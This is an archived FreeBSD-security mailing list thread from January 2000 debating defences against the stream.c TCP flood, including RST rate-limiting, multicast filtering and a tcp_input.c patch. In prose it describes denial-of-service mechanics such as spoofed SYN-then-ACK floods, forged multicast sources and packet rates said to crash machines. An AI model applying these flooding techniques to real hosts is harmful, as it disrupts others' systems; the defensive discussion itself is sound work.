<4.2.2.20000121210443.01981600@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 21:26:39 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: Dag-Erling Smorgrav , Keith Stevenson , freebsd-security@FreeBSD.ORG In-Reply-To: <200001220353.TAA66856@apollo.backplane.com> References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:53 PM 1/21/2000 , Matthew Dillon wrote: > Brett, it's an interesting rationalization, but it's completely wrong. > If you think a moment you will find that there are plenty of RST situations > long after boot. Think of all those dialup connections where people > turn off their modems before disconnecting, for example. At BEST our > servers always had a large number of hanging connections from that > sort of situation. This is really a different situation. In this case, the system is acting like a router. The packet never gets to the TCP level on the host, or shouldn't, during the call. When the user hangs up, your PPP software might want to send a bunch of RSTs to shut down the caller's sessions (if it's been tracking them). Or just do what a router does, and flag the machine as down. > Now what happens when someone new gets that dynamic > dialup IP and connects back to the same server using the same port pair? > There are ftp port-pairs, there is the tendancy for machines to reuse > port numbers, there are all sorts of problems that RST helps with. This is the equivalent of a new host coming up at that IP. Again, RSTs are useful at the outset but not necessarily later. > Believe me, RST's are useful. Rationalizing them away just isn't > going to work. You will wind up with some convoluted set of rules and > conditions when all you had to do in the first place was turn on > ICMP_BANDLIM. ICMP_BANDLIM isn't a very good fix for this exploit -- it merely limits some of the secondary effects. Limiting or killing RSTs is much more effective. I think we've reached a general consensus that bandwidth limiting of RSTs is a good idea; after that, it's just a matter of degree (with zero being just one of those degrees). And whether we want that limit to change over time. (As I mentioned, my personal strategy would be to crank it down.) > As far as port probing goes: So what? Do you think preventing people > from identifying your machine will make it more secure? No, but it'll make it harder to figure out which 'sploits to try. It's the difference between leaving the door visibly wide open and forcing the cracker to TRY the door. If I can waste a cracker's time, I want to. It seems to me that a rate-limiting feature that had an an initial and final limit, with a ramp starting when the host or interface was brought up, would let you have your way and other people have theirs. They could set either or both to be zero if they wanted, but you would set neither to zero. Voila! Everyone's happy. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 20:39:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id F05501566F for ; Fri, 21 Jan 2000 20:39:46 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id UAA18134; Fri, 21 Jan 2000 20:39:26 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id UAA53010; Fri, 21 Jan 2000 20:39:26 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id UAA15676; Fri, 21 Jan 2000 20:39:26 -0800 (PST) Message-Id: <200001220439.UAA15676@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 20:39:26 -0800 In-Reply-To: Matthew Dillon "Re: stream.c worst-case kernel paths" (Jan 21, 7:59pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Matthew Dillon , Giorgos Keramidas Subject: Re: stream.c worst-case kernel paths Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 7:59pm, Matthew Dillon wrote: } Subject: Re: stream.c worst-case kernel paths } :So what needs to be done is: } : } :(a) drop all multicast packets that reach the tcp stack. } :(b) extend ICMP_BANDLIM to RST packets, and } :(c) avoid sending anything tcp to a multicast address } : } :Do I forget something here? } : } :-- Giorgos } } That's pretty much it. I've already sent a patch set to Warner for (b). } I don't think we should do (a) or (c) until after the release, multicast } isn't going to explode on us in the next 4 months. But that doesn't stop an attacker from sending forged TCP packets with forged multicast addresses. Spraying the local network with a multicast response to an incoming unicast seems like a bad idea. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 20:56: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id C976314E35 for ; Fri, 21 Jan 2000 20:55:56 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA87623; Fri, 21 Jan 2000 21:52:49 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA17629; Fri, 21 Jan 2000 21:52:58 -0700 (MST) Message-Id: <200001220452.VAA17629@harmony.village.org> To: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 21:26:39 MST." <4.2.2.20000121210443.01981600@localhost> References: <4.2.2.20000121210443.01981600@localhost> <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> Date: Fri, 21 Jan 2000 21:52:58 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.20000121210443.01981600@localhost> Brett Glass writes: : during the call. When the user hangs up, your PPP software might want to : send a bunch of RSTs to shut down the caller's sessions (if it's been : tracking them). Or just do what a router does, and flag the machine : as down. I'm afraid I don't understand this. If the user disconnects, how can you send him RSTs? There's no connection. W/o ppp keeping state information, it can't send them to the other end. Also, it breaks lots of things. Really bad idea. : ICMP_BANDLIM isn't a very good fix for this exploit -- it merely limits some : of the secondary effects. Limiting or killing RSTs is much more effective. I have a patch that add RSTs to the mix, which does help a lot. : No, but it'll make it harder to figure out which 'sploits to try. It's the : difference between leaving the door visibly wide open and forcing the cracker : to TRY the door. If I can waste a cracker's time, I want to. Then why not have a strawman machine that responds in ways to make the hackers think it insecure, when in fact they are just yanking their chains :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21: 3:16 2000 Delivered-To: freebsd-security@freebsd.org Received: from testbed.baileylink.net (testbed.baileylink.net [63.71.213.24]) by hub.freebsd.org (Postfix) with ESMTP id 741D9155F4 for ; Fri, 21 Jan 2000 21:03:01 -0800 (PST) (envelope-from brad@testbed.baileylink.net) Received: (from brad@localhost) by testbed.baileylink.net (8.9.3/8.9.3) id WAA07440 for freebsd-security@FreeBSD.ORG; Fri, 21 Jan 2000 22:59:12 -0600 (CST) (envelope-from brad) Date: Fri, 21 Jan 2000 22:59:12 -0600 From: Brad Guillory To: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c Message-ID: <20000121225912.A5907@baileylink.net> References: <200001212258.OAA64329@apollo.backplane.com> <20000121171759.D56672@baileylink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20000121171759.D56672@baileylink.net>; from round@baileylink.net on Fri, Jan 21, 2000 at 05:17:59PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 05:17:59PM -0600, I wrote: > I don't understand how a "script kiddie" is going to garner the bandwidth > to run an attack into the multi-megabit range. This is not a leveraged > attack (right?). What kind of packet rate are we talking about to reboot > a system, I understand that this will depend on the equipment, but I am > interested in any numbers that would allow me to evaluate the real impact > that this DOS will have. Most people that have enough bandwidth to launch > a multi-megabit attack have better things to do than (or is it then) to pick > on me. Thanx all, BMG Thank you for the responces everyone, it seems that someone even decided to show me just how vulnerable that I was. I did not see anyone address approximatly what number of pps that we are talking about to significantly affect a machine? I only have 9 mbit/sec uplink here so I am wondering if I really have to worry about this. I imagine that there are several other people out there that are in the same boat as me. I am really looking for an order of magnitude here. I think that I heard Wes say that 1,000 packets per second lagged a machine, and 10,000 packets per second cause a reboot, but he didn't say what type of machine. So how big is the smallest ack packet? 20 bytes? So if I have all my unit conversions correct: 1,000[packets/sec] x 20[bytes/packet] x 10[bit/byte] = 200,000bit/sec 10,000pps = 2,000,000bit/sec If you are connected via anything bigger than a T1 you have something to worry about. Does this sound reasonable? Otherwise it is "just" a DOS. Everything is out of the window if I the attacker is on your LAN, but in that cause you probably have bigger issues to deal with. Thanx, BMG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:16:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id 9899B14E35 for ; Fri, 21 Jan 2000 21:15:54 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com; Fri, 21 Jan 2000 23:09:05 -0600 Message-Id: <4.2.0.58.20000121230937.0128e4a8@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 21 Jan 2000 23:11:25 -0600 To: keramida@ceid.upatras.gr From: Tim Yardley Subject: Re: explanation and code for stream.c issues Cc: Vladimir Dubrovin , freebsd-security@FreeBSD.ORG In-Reply-To: <20000122050656.B27571@hades.hell.gr> References: <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> <8920.000121@sandy.ru> <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:06 PM 1/21/2000, Giorgos Keramidas wrote: >On Fri, Jan 21, 2000 at 01:15:27PM -0600, Tim Yardley wrote: > > > > As was mentioned in the "advisory/explanation" on the issue, ipfw cannot > > deal with the problem due to the fact that it is stateless. > > > > The attack comes from random ip addresses, therefore throttling like that > > only hurts your connection or solves nothing at all. In other words, the > > random sourcing and method of the attack, makes a non-stateless firewall > > useless. > >Substitute 'stateless' for 'non-stateless' above. A stateless firewall, like >IPFW is the type of firewall that is useless. Umm.. that is exactly what I said. a state based firewall is called stateful and a non-state based firewall is called stateless. IPFW is stateless, meaning that it cannot handle packets in a STATE based syntax (ie it cannot decipher whether or not a connection has already been started with those specs). /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:36:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 883CA14CC4 for ; Fri, 21 Jan 2000 21:35:57 -0800 (PST) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id GAA33209; Sat, 22 Jan 2000 06:35:44 +0100 (CET) (envelope-from des@flood.ping.uio.no) To: Matthew Dillon Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <200001220245.SAA66403@apollo.backplane.com> From: Dag-Erling Smorgrav Date: 22 Jan 2000 06:35:43 +0100 In-Reply-To: Matthew Dillon's message of "Fri, 21 Jan 2000 18:45:07 -0800 (PST)" Message-ID: Lines: 17 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon writes: > Second, you purport that TCP_RESTRICT_RST is a better solution. > I'll tell you something about TCP_RESTRICT_RST: It's garbage. It should > never have been committed into the tree. It takes out *EVERY* single > goddamn RST response in the entire TCP input chain, even the ones that > couldn't possibly be related to an attack. It does it *all the time*, > whether the machine is under attack or not. 1) don't teach me how TCP_RESTRICT_RST works. I wrote it. 2) it's not meant for protecting against attacks. You can figure the rest out for yourself. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:39:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id AAF0A154D6 for ; Fri, 21 Jan 2000 21:39:01 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id WAA29608; Fri, 21 Jan 2000 22:38:50 -0700 (MST) Message-Id: <4.2.2.20000121223825.01972ec0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 22:38:49 -0700 To: Warner Losh From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001220452.VAA17629@harmony.village.org> References: <4.2.2.20000121210443.01981600@localhost> <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:52 PM 1/21/2000 , Warner Losh wrote: >Then why not have a strawman machine that responds in ways to make the >hackers think it insecure, when in fact they are just yanking their >chains :-) A honeypot? We already do. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:42: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from biggusdiskus.flyingfox.com (parker-T1-2-gw.sf3d.best.net [209.157.165.30]) by hub.freebsd.org (Postfix) with ESMTP id 5828C15358 for ; Fri, 21 Jan 2000 21:42:02 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.8/8.8.5) id VAA10095; Fri, 21 Jan 2000 21:34:23 -0800 (PST) Date: Fri, 21 Jan 2000 21:34:23 -0800 (PST) From: Jim Shankland Message-Id: <200001220534.VAA10095@biggusdiskus.flyingfox.com> To: brett@lariat.org, bright@wintelcom.net, dillon@apollo.backplane.com Subject: Re: stream.c worst-case kernel paths Cc: phk@critter.freebsd.dk, security@FreeBSD.ORG In-Reply-To: <4.2.2.20000121205951.01a58bb0@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass writes: > At 08:46 PM 1/21/2000 , Alfred Perlstein wrote: > > >Please look at tcp_input, notice the "goto drop" and "goto > >dropwithreset" jumps, they are scattered throught and after some > >pretty close examination (no tests yet) I've been able to see that > >we can signifigantly move the tcp checksum farther into the path. > > One of the first things the routine does is look for a socket that > matches the TCP header. This relies on the port numbers and control > bits, which are covered by the checksum. This is the hard limit > on how long you can defer the checksum. With all due respect, I think you guys are polishing a pretty round ball here. If checksumming is so all-fired expensive, how come I can saturate a 100 Mb/s point-to-point Ethernet link with an ftp transfer to a fairly slow machine (Pentium 133? not sure, it's been a few years since I did this) without the machine buckling under the weight of all that checksumming (plus socket buffering, user process scheduling, etc.). If a 10 Mb/s junk packet stream can really bring a FreeBSD machine to its knees, I don't think it's the checksumming that's the problem. Jim Shankland NLynx Systems, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:42:16 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 3702D155C5 for ; Fri, 21 Jan 2000 21:42:11 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id VAA67508; Fri, 21 Jan 2000 21:42:06 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 21:42:06 -0800 (PST) From: Matthew Dillon Message-Id: <200001220542.VAA67508@apollo.backplane.com> To: Warner Losh Cc: Brett Glass , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000121210443.01981600@localhost> <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> <200001220452.VAA17629@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :: during the call. When the user hangs up, your PPP software might want to :: send a bunch of RSTs to shut down the caller's sessions (if it's been :: tracking them). Or just do what a router does, and flag the machine :: as down. : :I'm afraid I don't understand this. If the user disconnects, how can :you send him RSTs? There's no connection. W/o ppp keeping state :information, it can't send them to the other end. Also, it breaks :lots of things. Really bad idea. :.. :Warner User A connects, runs netscape, opens an NNTP connection. User A disconnects (without closing the session). User B connects, gets same IP assignment, runs netscape, opens an NNTP connection. -> same port pair winds up being used -> server returns RST -> client retries and this time makes a (new) connection *** Or, alternatively, User A connects, runs netscape, opens an NNTP connection. User A disconnects (without closing the session). -> server times out, closes the connection User A reconnects, gets same IP address (this is more common if the user has a static IP but some portmasters try to assign the same IP if it wasn't reused). User starts typing in previously openned telnet session. -> server returns an RST. (In this case if the server does not return a RST the user's session does not close immediately and instead freezes up for 2 minutes). *** I can think of other situations, but the static-IP-dialup one (the second one above) is the one I care about the most because users really hate stalled-out telnet sessions. I know I do... if I type something and the connection is dead I want the window to disappear instantly. Similar problems occur when you are running a connection over a shoddy network. One side may timeout and disconnect without the other knowing. Without RST's it takes longer to recognize the failure. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:51:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 19C2314CC4 for ; Fri, 21 Jan 2000 21:51:18 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id VAA67568; Fri, 21 Jan 2000 21:51:14 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 21:51:14 -0800 (PST) From: Matthew Dillon Message-Id: <200001220551.VAA67568@apollo.backplane.com> To: gdonl@tsc.tdk.com (Don Lewis) Cc: Giorgos Keramidas , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001220439.UAA15676@salsa.gv.tsc.tdk.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :} : :} :Do I forget something here? :} : :} :-- Giorgos :} :} That's pretty much it. I've already sent a patch set to Warner for (b). :} I don't think we should do (a) or (c) until after the release, multicast :} isn't going to explode on us in the next 4 months. : :But that doesn't stop an attacker from sending forged TCP packets with :forged multicast addresses. Spraying the local network with a multicast :response to an incoming unicast seems like a bad idea. No matter what you do there will always be something the attacker can shoot at you. The only thing you care about is making sure that it doesn't take down your servers. Since multicast packets have to go through multicast routers to get anywhere, and those routers are already band-limited, a multicast attack is not likely to kill your network or your machine. I doubt an attacker would be able to push enough mcast packets through the router to matter since if the ISP is smart the bandwidth will be limited to something reasonable. On the otherhand, non-multicast packets are almost *never* band limited. So guess what the IRC weenie is going to use! You can come up with scenarios all day long and turn the TCP stack into a programmers nightmare trying to 'fix' them and still not cover all your bases. Because half this stuff doesn't make a damn bit of difference in survivability, I'm not particularly interested in seeing the TCP stack hacked to death with it. Having things like TCP_RESTRICT_RST and TCP_DROP_SYNFIN in there is already bad enough - solving problems that have no real impact on anything (except someone's personal paranoia). It just isn't worth garbaging up the TCP stack with all of this junk. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:52:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 1443C154D4 for ; Fri, 21 Jan 2000 21:52:00 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id VAA18567; Fri, 21 Jan 2000 21:51:45 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id VAA53176; Fri, 21 Jan 2000 21:51:45 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id VAA15775; Fri, 21 Jan 2000 21:51:44 -0800 (PST) Message-Id: <200001220551.VAA15775@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 21:51:44 -0800 In-Reply-To: Matthew Dillon "Re: stream.c worst-case kernel paths" (Jan 21, 7:59pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Matthew Dillon , Giorgos Keramidas Subject: Re: stream.c worst-case kernel paths Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 7:59pm, Matthew Dillon wrote: } Subject: Re: stream.c worst-case kernel paths } :(a) drop all multicast packets that reach the tcp stack. } :(b) extend ICMP_BANDLIM to RST packets, and } :(c) avoid sending anything tcp to a multicast address } That's pretty much it. I've already sent a patch set to Warner for (b). } I don't think we should do (a) or (c) until after the release, multicast } isn't going to explode on us in the next 4 months. Here's a patch that takes care of (a) and (c), but does it outside the main code path. This patch also skips the second PCB hash lookup for non-SYN packets. In addition to saving some CPU cycles, this part of the patch also forces ACK packets sent to listening sockets to take the shortest path to "dropwithreset" (and this particular path happens to already be protected by ICMP_BANDLIM). This change also has the advantage of closing the old hole (fixed in tcp_subr.c 1.48) that allowed port scanners to use ACK packets to detect listening sockets. (b) still needs to be generalized to cover other paths that generate RST packets. I think ACK packets also might need to be rate limited, because an attacker can spoof a SYN packet to a listening socket to create a socket in the SYN_SENT state, then send a large number of packets with the same source and destination addresses, to which the victim will respond with ACKs. This will be trickier to implement without causing performance problems under heavy traffic conditions where a large number of ACKs should actually be sent. I'm less enthusiastic about deferring the checksum. It complicates the code and the CPU really should be sized to have enough cycles so that it can checksum legitimate data at full bandwidth. I don't see much advantage of optimizing the code so that the machine has more idle cycles when it is under attack than when it is occupied doing useful work. This patch has only been lightly tested under benign conditions. --- tcp_input.c.orig Fri Jan 21 09:04:37 2000 +++ tcp_input.c Fri Jan 21 21:06:44 2000 @@ -381,6 +381,7 @@ struct tcpopt to; /* options in this segment */ struct rmxp_tao *taop; /* pointer to our TAO cache entry */ struct rmxp_tao tao_noncached; /* in case there's no cached entry */ + int wildcard = 0; #ifdef TCPDEBUG short ostate = 0; #endif @@ -513,6 +514,8 @@ /* * Locate pcb for segment. */ + if ((thflags & (TH_ACK|TH_SYN)) == TH_SYN) + wildcard = 1; findpcb: #ifdef IPFIREWALL_FORWARD if (ip_fw_fwd_addr != NULL @@ -533,12 +536,12 @@ if (!ip_fw_fwd_addr->sin_port) { inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ip_fw_fwd_addr->sin_addr, - th->th_dport, 1, m->m_pkthdr.rcvif); + th->th_dport, wildcard, m->m_pkthdr.rcvif); } else { inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ip_fw_fwd_addr->sin_addr, - ntohs(ip_fw_fwd_addr->sin_port), 1, + ntohs(ip_fw_fwd_addr->sin_port), wildcard, m->m_pkthdr.rcvif); } } @@ -549,12 +552,12 @@ #ifdef INET6 if (isipv6) inp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport, - &ip6->ip6_dst, th->th_dport, 1, + &ip6->ip6_dst, th->th_dport, wildcard, m->m_pkthdr.rcvif); else #endif /* INET6 */ inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, - ip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif); + ip->ip_dst, th->th_dport, wildcard, m->m_pkthdr.rcvif); } #ifdef IPSEC @@ -998,6 +1001,11 @@ if (thflags & TH_RST) goto drop; + /* + * XXX - the following two tests should no longer be + * necessary because of the "wildcard" test added + * above. + */ if (thflags & TH_ACK) goto dropwithreset; if ((thflags & TH_SYN) == 0) @@ -1017,16 +1025,22 @@ * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN * in_broadcast() should never return true on a received * packet with M_BCAST not set. + * + * Packets with a multicast source address should also + * be discarded. */ if (m->m_flags & (M_BCAST|M_MCAST)) goto drop; #ifdef INET6 if (isipv6) { - if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) + if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || + IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif - if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) + if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || + IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || + IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; #ifdef INET6 if (isipv6) { @@ -2217,11 +2231,14 @@ goto drop; #ifdef INET6 if (isipv6) { - if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) + if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || + IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif /* INET6 */ - if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) + if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || + IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || + IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; /* IPv6 anycast check is done at tcp6_input() */ #ifdef TCPDEBUG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 21:55: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 52D9C155E0 for ; Fri, 21 Jan 2000 21:55:02 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id WAA29753; Fri, 21 Jan 2000 22:54:50 -0700 (MST) Message-Id: <4.2.2.20000121224236.019bb940@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 22:54:49 -0700 To: Dag-Erling Smorgrav , Matthew Dillon From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG In-Reply-To: References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <200001220245.SAA66403@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:35 PM 1/21/2000 , Dag-Erling Smorgrav wrote: >1) don't teach me how TCP_RESTRICT_RST works. I wrote it. > >2) it's not meant for protecting against attacks. > >You can figure the rest out for yourself. Well, here's what I plan to do. Matt is implementing a rate-limiting feature for RST packets, which is fine by me. I can understand his hesitancy to deviate from protocol. However, shortly after the system starts up (and uses RSTs to kill any old sessions that might be lingering from before the reboot), I personally want to stop sending RSTs. This will make me more resistant to some DoS attacks and probes except for a very short window of opportunity. So, I'll build my kernel with TCP_RESTRICT_RST but leave it off in rc.conf. At boot time, I'll use "at" to issue the command sysctl -w net.inet.tcp.restrict_rst=1 >/dev/null with a time delay of maybe a minute. A cracker would have to probe me 24x7 for a very long time to find even one such minute, and even then couldn't do much more than a better probe. Now, all that's left to do is handle 